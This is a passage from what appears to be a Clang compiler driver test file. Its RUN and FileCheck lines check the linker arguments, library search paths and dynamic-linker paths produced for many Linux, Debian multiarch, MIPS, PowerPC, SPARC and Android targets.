// CHECK-FEDORA-21-AARCH64: "{{.*}}/usr/lib/gcc/aarch64-redhat-linux/4.9.0{{/|\\\\}}crtend.o"
// CHECK-FEDORA-21-AARCH64: "{{.*}}/usr/lib/gcc/aarch64-redhat-linux/4.9.0/../../../../lib64{{/|\\\\}}crtn.o"
//
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm-unknown-linux-gnueabi \
// RUN: --sysroot=%S/Inputs/ubuntu_12.04_LTS_multiarch_tree \
// RUN: | FileCheck --check-prefix=CHECK-UBUNTU-12-04-ARM %s
// CHECK-UBUNTU-12-04-ARM: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-UBUNTU-12-04-ARM: "{{.*}}/usr/lib/gcc/arm-linux-gnueabi/4.6.1/../../../arm-linux-gnueabi{{/|\\\\}}crt1.o"
// CHECK-UBUNTU-12-04-ARM: "{{.*}}/usr/lib/gcc/arm-linux-gnueabi/4.6.1/../../../arm-linux-gnueabi{{/|\\\\}}crti.o"
// CHECK-UBUNTU-12-04-ARM: "{{.*}}/usr/lib/gcc/arm-linux-gnueabi/4.6.1{{/|\\\\}}crtbegin.o"
// CHECK-UBUNTU-12-04-ARM: "-L[[SYSROOT]]/usr/lib/gcc/arm-linux-gnueabi/4.6.1"
// CHECK-UBUNTU-12-04-ARM: "-L[[SYSROOT]]/usr/lib/gcc/arm-linux-gnueabi/4.6.1/../../../arm-linux-gnueabi"
// CHECK-UBUNTU-12-04-ARM: "-L[[SYSROOT]]/lib/arm-linux-gnueabi"
// CHECK-UBUNTU-12-04-ARM: "-L[[SYSROOT]]/usr/lib/arm-linux-gnueabi"
// CHECK-UBUNTU-12-04-ARM: "-L[[SYSROOT]]/usr/lib/gcc/arm-linux-gnueabi/4.6.1/../../.."
// CHECK-UBUNTU-12-04-ARM: "{{.*}}/usr/lib/gcc/arm-linux-gnueabi/4.6.1{{/|\\\\}}crtend.o"
// CHECK-UBUNTU-12-04-ARM: "{{.*}}/usr/lib/gcc/arm-linux-gnueabi/4.6.1/../../../arm-linux-gnueabi{{/|\\\\}}crtn.o"
//
// Test the setup that shipped in SUSE 10.3 on ppc64.
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=powerpc64-suse-linux \
// RUN: --sysroot=%S/Inputs/suse_10.3_ppc64_tree \
// RUN: | FileCheck --check-prefix=CHECK-SUSE-10-3-PPC64 %s
// CHECK-SUSE-10-3-PPC64: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-SUSE-10-3-PPC64: "{{.*}}/usr/lib/gcc/powerpc64-suse-linux/4.1.2/64{{/|\\\\}}crtbegin.o"
// CHECK-SUSE-10-3-PPC64: "-L[[SYSROOT]]/usr/lib/gcc/powerpc64-suse-linux/4.1.2/64"
// CHECK-SUSE-10-3-PPC64: "-L[[SYSROOT]]/usr/lib/gcc/powerpc64-suse-linux/4.1.2/../../../../lib64"
// CHECK-SUSE-10-3-PPC64: "-L[[SYSROOT]]/lib/../lib64"
// CHECK-SUSE-10-3-PPC64: "-L[[SYSROOT]]/usr/lib/../lib64"
//
// Check dynamic-linker for different archs
// RUN: %clang %s -### -o %t.o 2>&1 \
// RUN: --target=arm-linux-gnueabi \
// RUN: | FileCheck --check-prefix=CHECK-ARM %s
// CHECK-ARM: "{{.*}}ld{{(.exe)?}}"
// CHECK-ARM: "-m" "armelf_linux_eabi"
// CHECK-ARM: "-dynamic-linker" "{{.*}}/lib/ld-linux.so.3"
//
// RUN: %clang %s -### -o %t.o 2>&1 \
// RUN: --target=arm-linux-gnueabihf \
// RUN: | FileCheck --check-prefix=CHECK-ARM-HF %s
// CHECK-ARM-HF: "{{.*}}ld{{(.exe)?}}"
// CHECK-ARM-HF: "-m" "armelf_linux_eabi"
// CHECK-ARM-HF: "-dynamic-linker" "{{.*}}/lib/ld-linux-armhf.so.3"
//
// RUN: %clang %s -### -o %t.o 2>&1 \
// RUN: --target=powerpc64-linux-gnu \
// RUN: | FileCheck --check-prefix=CHECK-PPC64 %s
// CHECK-PPC64: "{{.*}}ld{{(.exe)?}}"
// CHECK-PPC64: "-m" "elf64ppc"
// CHECK-PPC64: "-dynamic-linker" "{{.*}}/lib64/ld64.so.1"
//
// RUN: %clang %s -### -o %t.o 2>&1 \
// RUN: --target=powerpc64-linux-gnu -mabi=elfv1 \
// RUN: | FileCheck --check-prefix=CHECK-PPC64-ELFv1 %s
// CHECK-PPC64-ELFv1: "{{.*}}ld{{(.exe)?}}"
// CHECK-PPC64-ELFv1: "-m" "elf64ppc"
// CHECK-PPC64-ELFv1: "-dynamic-linker" "{{.*}}/lib64/ld64.so.1"
//
// RUN: %clang %s -### -o %t.o 2>&1 \
// RUN: --target=powerpc64-linux-gnu -mabi=elfv2 \
// RUN: | FileCheck --check-prefix=CHECK-PPC64-ELFv2 %s
// CHECK-PPC64-ELFv2: "{{.*}}ld{{(.exe)?}}"
// CHECK-PPC64-ELFv2: "-m" "elf64ppc"
// CHECK-PPC64-ELFv2: "-dynamic-linker" "{{.*}}/lib64/ld64.so.2"
//
// RUN: %clang %s -### -o %t.o 2>&1 \
// RUN: --target=powerpc64le-linux-gnu \
// RUN: | FileCheck --check-prefix=CHECK-PPC64LE %s
// CHECK-PPC64LE: "{{.*}}ld{{(.exe)?}}"
// CHECK-PPC64LE: "-m" "elf64lppc"
// CHECK-PPC64LE: "-dynamic-linker" "{{.*}}/lib64/ld64.so.2"
//
// RUN: %clang %s -### -o %t.o 2>&1 \
// RUN: --target=powerpc64le-linux-gnu -mabi=elfv1 \
// RUN: | FileCheck --check-prefix=CHECK-PPC64LE-ELFv1 %s
// CHECK-PPC64LE-ELFv1: "{{.*}}ld{{(.exe)?}}"
// CHECK-PPC64LE-ELFv1: "-m" "elf64lppc"
// CHECK-PPC64LE-ELFv1: "-dynamic-linker" "{{.*}}/lib64/ld64.so.1"
//
// RUN: %clang %s -### -o %t.o 2>&1 \
// RUN: --target=powerpc64le-linux-gnu -mabi=elfv2 \
// RUN: | FileCheck --check-prefix=CHECK-PPC64LE-ELFv2 %s
// CHECK-PPC64LE-ELFv2: "{{.*}}ld{{(.exe)?}}"
// CHECK-PPC64LE-ELFv2: "-m" "elf64lppc"
// CHECK-PPC64LE-ELFv2: "-dynamic-linker" "{{.*}}/lib64/ld64.so.2"
//
// Check that we do not pass --hash-style=gnu and --hash-style=both to linker
// and provide correct path to the dynamic linker and emulation mode when build
// for MIPS platforms.
// RUN: %clang %s -### -o %t.o 2>&1 \
// RUN: --target=mips-linux-gnu \
// RUN: | FileCheck --check-prefix=CHECK-MIPS %s
// CHECK-MIPS: "{{.*}}ld{{(.exe)?}}"
// CHECK-MIPS: "-m" "elf32btsmip"
// CHECK-MIPS: "-dynamic-linker" "{{.*}}/lib/ld.so.1"
// CHECK-MIPS-NOT: "--hash-style={{gnu|both}}"
//
// RUN: %clang %s -### -o %t.o 2>&1 \
// RUN: --target=mipsel-linux-gnu \
// RUN: | FileCheck --check-prefix=CHECK-MIPSEL %s
// CHECK-MIPSEL: "{{.*}}ld{{(.exe)?}}"
// CHECK-MIPSEL: "-m" "elf32ltsmip"
// CHECK-MIPSEL: "-dynamic-linker" "{{.*}}/lib/ld.so.1"
// CHECK-MIPSEL-NOT: "--hash-style={{gnu|both}}"
//
// RUN: %clang %s -### -o %t.o 2>&1 --target=mipsel-linux-gnu -mnan=2008 \
// RUN: | FileCheck --check-prefix=CHECK-MIPSEL-NAN2008 %s
// CHECK-MIPSEL-NAN2008: "{{.*}}ld{{(.exe)?}}"
// CHECK-MIPSEL-NAN2008: "-m" "elf32ltsmip"
// CHECK-MIPSEL-NAN2008: "-dynamic-linker" "{{.*}}/lib/ld-linux-mipsn8.so.1"
// CHECK-MIPSEL-NAN2008-NOT: "--hash-style={{gnu|both}}"
//
// RUN: %clang %s -### -o %t.o 2>&1 --target=mipsel-linux-gnu -mcpu=mips32r6 \
// RUN: | FileCheck --check-prefix=CHECK-MIPS32R6EL %s
// CHECK-MIPS32R6EL: "{{.*}}ld{{(.exe)?}}"
// CHECK-MIPS32R6EL: "-m" "elf32ltsmip"
// CHECK-MIPS32R6EL: "-dynamic-linker" "{{.*}}/lib/ld-linux-mipsn8.so.1"
// CHECK-MIPS32R6EL-NOT: "--hash-style={{gnu|both}}"
//
// RUN: %clang %s -### -o %t.o 2>&1 \
// RUN: --target=mips64-linux-gnu \
// RUN: | FileCheck --check-prefix=CHECK-MIPS64 %s
// CHECK-MIPS64: "{{.*}}ld{{(.exe)?}}"
// CHECK-MIPS64: "-m" "elf64btsmip"
// CHECK-MIPS64: "-dynamic-linker" "{{.*}}/lib64/ld.so.1"
// CHECK-MIPS64-NOT: "--hash-style={{gnu|both}}"
//
// RUN: %clang %s -### -o %t.o 2>&1 \
// RUN: --target=mips64el-linux-gnu \
// RUN: | FileCheck --check-prefix=CHECK-MIPS64EL %s
// CHECK-MIPS64EL: "{{.*}}ld{{(.exe)?}}"
// CHECK-MIPS64EL: "-m" "elf64ltsmip"
// CHECK-MIPS64EL: "-dynamic-linker" "{{.*}}/lib64/ld.so.1"
// CHECK-MIPS64EL-NOT: "--hash-style={{gnu|both}}"
//
// RUN: %clang %s -### -o %t.o 2>&1 --target=mips64el-linux-gnu -mnan=2008 \
// RUN: | FileCheck --check-prefix=CHECK-MIPS64EL-NAN2008 %s
// CHECK-MIPS64EL-NAN2008: "{{.*}}ld{{(.exe)?}}"
// CHECK-MIPS64EL-NAN2008: "-m" "elf64ltsmip"
// CHECK-MIPS64EL-NAN2008: "-dynamic-linker" "{{.*}}/lib64/ld-linux-mipsn8.so.1"
// CHECK-MIPS64EL-NAN2008-NOT: "--hash-style={{gnu|both}}"
//
// RUN: %clang %s -### -o %t.o 2>&1 --target=mips64el-linux-gnu -mcpu=mips64r6 \
// RUN: | FileCheck --check-prefix=CHECK-MIPS64R6EL %s
// CHECK-MIPS64R6EL: "{{.*}}ld{{(.exe)?}}"
// CHECK-MIPS64R6EL: "-m" "elf64ltsmip"
// CHECK-MIPS64R6EL: "-dynamic-linker" "{{.*}}/lib64/ld-linux-mipsn8.so.1"
// CHECK-MIPS64R6EL-NOT: "--hash-style={{gnu|both}}"
//
// RUN: %clang %s -### -o %t.o 2>&1 \
// RUN: --target=mips64-linux-gnu -mabi=n32 \
// RUN: | FileCheck --check-prefix=CHECK-MIPS64-N32 %s
// CHECK-MIPS64-N32: "{{.*}}ld{{(.exe)?}}"
// CHECK-MIPS64-N32: "-m" "elf32btsmipn32"
// CHECK-MIPS64-N32: "-dynamic-linker" "{{.*}}/lib32/ld.so.1"
// CHECK-MIPS64-N32-NOT: "--hash-style={{gnu|both}}"
//
// RUN: %clang %s -### -o %t.o 2>&1 \
// RUN: --target=mips64el-linux-gnu -mabi=n32 \
// RUN: | FileCheck --check-prefix=CHECK-MIPS64EL-N32 %s
// CHECK-MIPS64EL-N32: "{{.*}}ld{{(.exe)?}}"
// CHECK-MIPS64EL-N32: "-m" "elf32ltsmipn32"
// CHECK-MIPS64EL-N32: "-dynamic-linker" "{{.*}}/lib32/ld.so.1"
// CHECK-MIPS64EL-N32-NOT: "--hash-style={{gnu|both}}"
//
// RUN: %clang %s -### -o %t.o 2>&1 --target=mips64el-linux-gnu -mabi=n32 \
// RUN: -mnan=2008 | FileCheck --check-prefix=CHECK-MIPS64EL-N32-NAN2008 %s
// CHECK-MIPS64EL-N32-NAN2008: "{{.*}}ld{{(.exe)?}}"
// CHECK-MIPS64EL-N32-NAN2008: "-m" "elf32ltsmipn32"
// CHECK-MIPS64EL-N32-NAN2008: "-dynamic-linker" "{{.*}}/lib32/ld-linux-mipsn8.so.1"
// CHECK-MIPS64EL-N32-NAN2008-NOT: "--hash-style={{gnu|both}}"
//
// RUN: %clang %s -### -o %t.o 2>&1 \
// RUN: --target=sparc-linux-gnu \
// RUN: | FileCheck --check-prefix=CHECK-SPARCV8 %s
// CHECK-SPARCV8: "{{.*}}ld{{(.exe)?}}"
// CHECK-SPARCV8: "-m" "elf32_sparc"
// CHECK-SPARCV8: "-dynamic-linker" "/lib/ld-linux.so.2"
//
// RUN: %clang %s -### -o %t.o 2>&1 \
// RUN: --target=sparcv9-linux-gnu \
// RUN: | FileCheck --check-prefix=CHECK-SPARCV9 %s
// CHECK-SPARCV9: "{{.*}}ld{{(.exe)?}}"
// CHECK-SPARCV9: "-m" "elf64_sparc"
// CHECK-SPARCV9: "-dynamic-linker" "/lib64/ld-linux.so.2"
//
// Thoroughly exercise the Debian multiarch environment.
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=i686-linux-gnu \
// RUN: --sysroot=%S/Inputs/debian_multiarch_tree \
// RUN: | FileCheck --check-prefix=CHECK-DEBIAN-X86 %s
// CHECK-DEBIAN-X86: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-DEBIAN-X86: "{{.*}}/usr/lib/gcc/i686-linux-gnu/4.5{{/|\\\\}}crtbegin.o"
// CHECK-DEBIAN-X86: "-L[[SYSROOT]]/usr/lib/gcc/i686-linux-gnu/4.5"
// CHECK-DEBIAN-X86: "-L[[SYSROOT]]/usr/lib/gcc/i686-linux-gnu/4.5/../../../i386-linux-gnu"
// CHECK-DEBIAN-X86: "-L[[SYSROOT]]/usr/lib/i386-linux-gnu"
// CHECK-DEBIAN-X86: "-L[[SYSROOT]]/usr/lib/gcc/i686-linux-gnu/4.5/../../.."
// CHECK-DEBIAN-X86: "-L[[SYSROOT]]/lib"
// CHECK-DEBIAN-X86: "-L[[SYSROOT]]/usr/lib"
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-linux-gnu \
// RUN: --sysroot=%S/Inputs/debian_multiarch_tree \
// RUN: | FileCheck --check-prefix=CHECK-DEBIAN-X86-64 %s
// CHECK-DEBIAN-X86-64: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-DEBIAN-X86-64: "{{.*}}/usr/lib/gcc/x86_64-linux-gnu/4.5{{/|\\\\}}crtbegin.o"
// CHECK-DEBIAN-X86-64: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-linux-gnu/4.5"
// CHECK-DEBIAN-X86-64: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-linux-gnu/4.5/../../../x86_64-linux-gnu"
// CHECK-DEBIAN-X86-64: "-L[[SYSROOT]]/usr/lib/x86_64-linux-gnu"
// CHECK-DEBIAN-X86-64: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-linux-gnu/4.5/../../.."
// CHECK-DEBIAN-X86-64: "-L[[SYSROOT]]/lib"
// CHECK-DEBIAN-X86-64: "-L[[SYSROOT]]/usr/lib"
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=powerpc-linux-gnu \
// RUN: --sysroot=%S/Inputs/debian_multiarch_tree \
// RUN: | FileCheck --check-prefix=CHECK-DEBIAN-PPC %s
// CHECK-DEBIAN-PPC: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-DEBIAN-PPC: "{{.*}}/usr/lib/gcc/powerpc-linux-gnu/4.5{{/|\\\\}}crtbegin.o"
// CHECK-DEBIAN-PPC: "-L[[SYSROOT]]/usr/lib/gcc/powerpc-linux-gnu/4.5"
// CHECK-DEBIAN-PPC: "-L[[SYSROOT]]/usr/lib/gcc/powerpc-linux-gnu/4.5/../../../powerpc-linux-gnu"
// CHECK-DEBIAN-PPC: "-L[[SYSROOT]]/usr/lib/powerpc-linux-gnu"
// CHECK-DEBIAN-PPC: "-L[[SYSROOT]]/usr/lib/gcc/powerpc-linux-gnu/4.5/../../.."
// CHECK-DEBIAN-PPC: "-L[[SYSROOT]]/lib"
// CHECK-DEBIAN-PPC: "-L[[SYSROOT]]/usr/lib"
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=powerpc64-linux-gnu \
// RUN: --sysroot=%S/Inputs/debian_multiarch_tree \
// RUN: | FileCheck --check-prefix=CHECK-DEBIAN-PPC64 %s
// CHECK-DEBIAN-PPC64: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-DEBIAN-PPC64: "{{.*}}/usr/lib/gcc/powerpc64-linux-gnu/4.5{{/|\\\\}}crtbegin.o"
// CHECK-DEBIAN-PPC64: "-L[[SYSROOT]]/usr/lib/gcc/powerpc64-linux-gnu/4.5"
// CHECK-DEBIAN-PPC64: "-L[[SYSROOT]]/usr/lib/gcc/powerpc64-linux-gnu/4.5/../../../powerpc64-linux-gnu"
// CHECK-DEBIAN-PPC64: "-L[[SYSROOT]]/usr/lib/powerpc64-linux-gnu"
// CHECK-DEBIAN-PPC64: "-L[[SYSROOT]]/usr/lib/gcc/powerpc64-linux-gnu/4.5/../../.."
// CHECK-DEBIAN-PPC64: "-L[[SYSROOT]]/lib"
// CHECK-DEBIAN-PPC64: "-L[[SYSROOT]]/usr/lib"
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mips-linux-gnu \
// RUN: --sysroot=%S/Inputs/debian_multiarch_tree \
// RUN: | FileCheck --check-prefix=CHECK-DEBIAN-MIPS %s
// CHECK-DEBIAN-MIPS: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-DEBIAN-MIPS: "{{.*}}/usr/lib/gcc/mips-linux-gnu/4.5{{/|\\\\}}crtbegin.o"
// CHECK-DEBIAN-MIPS: "-L[[SYSROOT]]/usr/lib/gcc/mips-linux-gnu/4.5"
// CHECK-DEBIAN-MIPS: "-L[[SYSROOT]]/usr/lib/gcc/mips-linux-gnu/4.5/../../../mips-linux-gnu"
// CHECK-DEBIAN-MIPS: "-L[[SYSROOT]]/usr/lib/mips-linux-gnu"
// CHECK-DEBIAN-MIPS: "-L[[SYSROOT]]/usr/lib/gcc/mips-linux-gnu/4.5/../../.."
// CHECK-DEBIAN-MIPS: "-L[[SYSROOT]]/lib"
// CHECK-DEBIAN-MIPS: "-L[[SYSROOT]]/usr/lib"
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mipsel-linux-gnu \
// RUN: --sysroot=%S/Inputs/debian_multiarch_tree \
// RUN: | FileCheck --check-prefix=CHECK-DEBIAN-MIPSEL %s
// CHECK-DEBIAN-MIPSEL: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-DEBIAN-MIPSEL: "{{.*}}/usr/lib/gcc/mipsel-linux-gnu/4.5{{/|\\\\}}crtbegin.o"
// CHECK-DEBIAN-MIPSEL: "-L[[SYSROOT]]/usr/lib/gcc/mipsel-linux-gnu/4.5"
// CHECK-DEBIAN-MIPSEL: "-L[[SYSROOT]]/usr/lib/gcc/mipsel-linux-gnu/4.5/../../../mipsel-linux-gnu"
// CHECK-DEBIAN-MIPSEL: "-L[[SYSROOT]]/usr/lib/mipsel-linux-gnu"
// CHECK-DEBIAN-MIPSEL: "-L[[SYSROOT]]/usr/lib/gcc/mipsel-linux-gnu/4.5/../../.."
// CHECK-DEBIAN-MIPSEL: "-L[[SYSROOT]]/lib"
// CHECK-DEBIAN-MIPSEL: "-L[[SYSROOT]]/usr/lib"
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mips64-linux-gnu \
// RUN: --sysroot=%S/Inputs/debian_multiarch_tree \
// RUN: | FileCheck --check-prefix=CHECK-DEBIAN-MIPS64 %s
// CHECK-DEBIAN-MIPS64: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-DEBIAN-MIPS64: "{{.*}}/usr/lib/gcc/mips-linux-gnu/4.5/64{{/|\\\\}}crtbegin.o"
// CHECK-DEBIAN-MIPS64: "-L[[SYSROOT]]/usr/lib/gcc/mips-linux-gnu/4.5/64"
// CHECK-DEBIAN-MIPS64: "-L[[SYSROOT]]/usr/lib/gcc/mips-linux-gnu/4.5"
// CHECK-DEBIAN-MIPS64: "-L[[SYSROOT]]/usr/lib/gcc/mips-linux-gnu/4.5/../../.."
// CHECK-DEBIAN-MIPS64: "-L[[SYSROOT]]/lib"
// CHECK-DEBIAN-MIPS64: "-L[[SYSROOT]]/usr/lib"
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mips64el-linux-gnu \
// RUN: --sysroot=%S/Inputs/debian_multiarch_tree \
// RUN: | FileCheck --check-prefix=CHECK-DEBIAN-MIPS64EL %s
// CHECK-DEBIAN-MIPS64EL: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-DEBIAN-MIPS64EL: "{{.*}}/usr/lib/gcc/mipsel-linux-gnu/4.5/64{{/|\\\\}}crtbegin.o"
// CHECK-DEBIAN-MIPS64EL: "-L[[SYSROOT]]/usr/lib/gcc/mipsel-linux-gnu/4.5/64"
// CHECK-DEBIAN-MIPS64EL: "-L[[SYSROOT]]/usr/lib/gcc/mipsel-linux-gnu/4.5"
// CHECK-DEBIAN-MIPS64EL: "-L[[SYSROOT]]/usr/lib/gcc/mipsel-linux-gnu/4.5/../../.."
// CHECK-DEBIAN-MIPS64EL: "-L[[SYSROOT]]/lib"
// CHECK-DEBIAN-MIPS64EL: "-L[[SYSROOT]]/usr/lib"
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mips64-linux-gnu -mabi=n32 \
// RUN: --sysroot=%S/Inputs/debian_multiarch_tree \
// RUN: | FileCheck --check-prefix=CHECK-DEBIAN-MIPS64-N32 %s
// CHECK-DEBIAN-MIPS64-N32: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-DEBIAN-MIPS64-N32: "{{.*}}/usr/lib/gcc/mips-linux-gnu/4.5/n32{{/|\\\\}}crtbegin.o"
// CHECK-DEBIAN-MIPS64-N32: "-L[[SYSROOT]]/usr/lib/gcc/mips-linux-gnu/4.5/n32"
// CHECK-DEBIAN-MIPS64-N32: "-L[[SYSROOT]]/usr/lib/gcc/mips-linux-gnu/4.5"
// CHECK-DEBIAN-MIPS64-N32: "-L[[SYSROOT]]/usr/lib/gcc/mips-linux-gnu/4.5/../../.."
// CHECK-DEBIAN-MIPS64-N32: "-L[[SYSROOT]]/lib"
// CHECK-DEBIAN-MIPS64-N32: "-L[[SYSROOT]]/usr/lib"
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mips64el-linux-gnu -mabi=n32 \
// RUN: --sysroot=%S/Inputs/debian_multiarch_tree \
// RUN: | FileCheck --check-prefix=CHECK-DEBIAN-MIPS64EL-N32 %s
// CHECK-DEBIAN-MIPS64EL-N32: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-DEBIAN-MIPS64EL-N32: "{{.*}}/usr/lib/gcc/mipsel-linux-gnu/4.5/n32{{/|\\\\}}crtbegin.o"
// CHECK-DEBIAN-MIPS64EL-N32: "-L[[SYSROOT]]/usr/lib/gcc/mipsel-linux-gnu/4.5/n32"
// CHECK-DEBIAN-MIPS64EL-N32: "-L[[SYSROOT]]/usr/lib/gcc/mipsel-linux-gnu/4.5"
// CHECK-DEBIAN-MIPS64EL-N32: "-L[[SYSROOT]]/usr/lib/gcc/mipsel-linux-gnu/4.5/../../.."
// CHECK-DEBIAN-MIPS64EL-N32: "-L[[SYSROOT]]/lib"
// CHECK-DEBIAN-MIPS64EL-N32: "-L[[SYSROOT]]/usr/lib"
//
// Test linker invocation on Android.
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm-linux-androideabi \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=aarch64-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm64-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mipsel-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mips64el-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=i686-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID %s
// CHECK-ANDROID: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-ANDROID: "{{.*}}{{/|\\\\}}crtbegin_dynamic.o"
// CHECK-ANDROID: "-L[[SYSROOT]]/usr/lib"
// CHECK-ANDROID-NOT: "gcc_s"
// CHECK-ANDROID: "-lgcc"
// CHECK-ANDROID: "-ldl"
// CHECK-ANDROID-NOT: "gcc_s"
// CHECK-ANDROID: "{{.*}}{{/|\\\\}}crtend_android.o"
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm-linux-androideabi \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -shared \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-SO %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -shared \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-SO %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=aarch64-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -shared \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-SO %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm64-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -shared \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-SO %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mipsel-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -shared \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-SO %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mips64el-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -shared \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-SO %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=i686-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -shared \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-SO %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -shared \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-SO %s
// CHECK-ANDROID-SO: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-ANDROID-SO-NOT: "-Bsymbolic"
// CHECK-ANDROID-SO: "{{.*}}{{/|\\\\}}crtbegin_so.o"
// CHECK-ANDROID-SO: "-L[[SYSROOT]]/usr/lib"
// CHECK-ANDROID-SO-NOT: "gcc_s"
// CHECK-ANDROID-SO: "-lgcc"
// CHECK-ANDROID-SO: "-ldl"
// CHECK-ANDROID-SO-NOT: "gcc_s"
// CHECK-ANDROID-SO: "{{.*}}{{/|\\\\}}crtend_so.o"
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm-linux-androideabi \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -static \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-STATIC %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -static \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-STATIC %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=aarch64-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -static \
